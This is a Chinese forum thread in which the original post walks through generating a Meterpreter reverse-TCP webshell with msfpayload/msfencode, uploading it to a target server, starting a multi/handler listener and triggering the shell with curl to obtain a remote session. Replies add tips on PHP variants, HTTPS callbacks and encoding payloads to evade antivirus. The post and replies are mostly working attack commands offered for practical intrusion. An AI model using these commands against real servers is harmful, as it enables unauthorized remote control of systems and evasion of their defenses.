MSF通过shell获得session的方法
这是昨天渗透的时候遇到的问题 就简单整理了一下发出来。Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,
一可以生成网页脚本类型的webshell ,通过生成webshell 然后设置监听器,访问webshell的url,
幸运的话可以产生一个session,以便进一步利用。
下面是具体的利用方法。
我们可以通过指令查看msf里的payload 然后记住其位置:使用如下的指令来产生一个webshell,和前边将的msfpayload的用法类似,只不过这里生成的是一个网页脚本文件:
产生webshell
msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
然后将此webshell上传到服务器(这个步骤要有上传权限。)
然后启动msfconsole
输入use exploits/multi/handler,
set PAYLOAD windows/meterpreter/reverse_tcp(这里的payload要和前边的msfpayload所使用的一样。
set LHOST your_ip,
执行exploit,
然 后访问webshell的url,这里使用curl 访问curl http://host/webshell.asp ,如果exploit执行成功的话就可以看到msfconsole中有返回meterpreter shell,如果meterpreter不会用网上查一下,很多。
但是我使用netbox 搭建asp环境老是执行出错,希望读者在实际验证不出错后再使用。
这里产生的是asp的webshell 也可以产生php webshell,jsp webshell 需要在msfencode时用-t 参数指定脚本类型,我认为php类型的webshell更容易成功。 在12年的时候我也玩过Metasploit,应该是学过,好像看到过这样的文章,感谢分享。 非常谢谢 已测试,就是菜刀的交互模式 恩,我一直用的生成的exe,获取pc的meterpreter,没想到还能获取网站的
Re: MSF通过shell获得session的方法
感谢楼主的分享,步骤写得很清晰。用webshell配合msfpayload生成payload确实是个好思路,尤其适合有上传权限但无法直接执行exe的场景。我自己试过php类型,成功率确实比asp高一些,而且现在很多服务器对asp支持不那么好了。另外补充一点:如果遇到监听没反应,可以先检查一下防火墙是否放行了对应端口,或者换个payload比如reverse_https试试。期待楼主继续分享更多渗透实战技巧。Re: MSF通过shell获得session的方法
感谢分享!这个方法的思路很实用,特别是当目标服务器有上传权限但无法直接执行exe时,用webshell来反弹session是很好的迂回策略。 关于你提到的netbox报错,可能是ASP环境对某些组件支持不完整,或者是payload与服务器架构不匹配。我之前用PHP类型的webshell确实成功率更高,除了`-t php`,还可以考虑用`-t asp`时搭配IIS环境测试。另外,手动访问webshell后如果没反应,可以检查下防火墙是否拦截了反向连接端口。 谢谢楼主整理的经验,收藏了!Re: MSF通过shell获得session的方法
感谢分享!这个方法很实用,生成ASP/php webshell再配合handler监听,确实是渗透测试中拿到会话的经典套路。尤其你提到PHP类型更容易成功,这点很关键,很多环境下ASP/JSP支持不够完善。另外,如果目标有杀软,可以尝试对payload做编码或使用HTTPS反向连接来绕过。期待你后续更多实战经验!
页:
[1]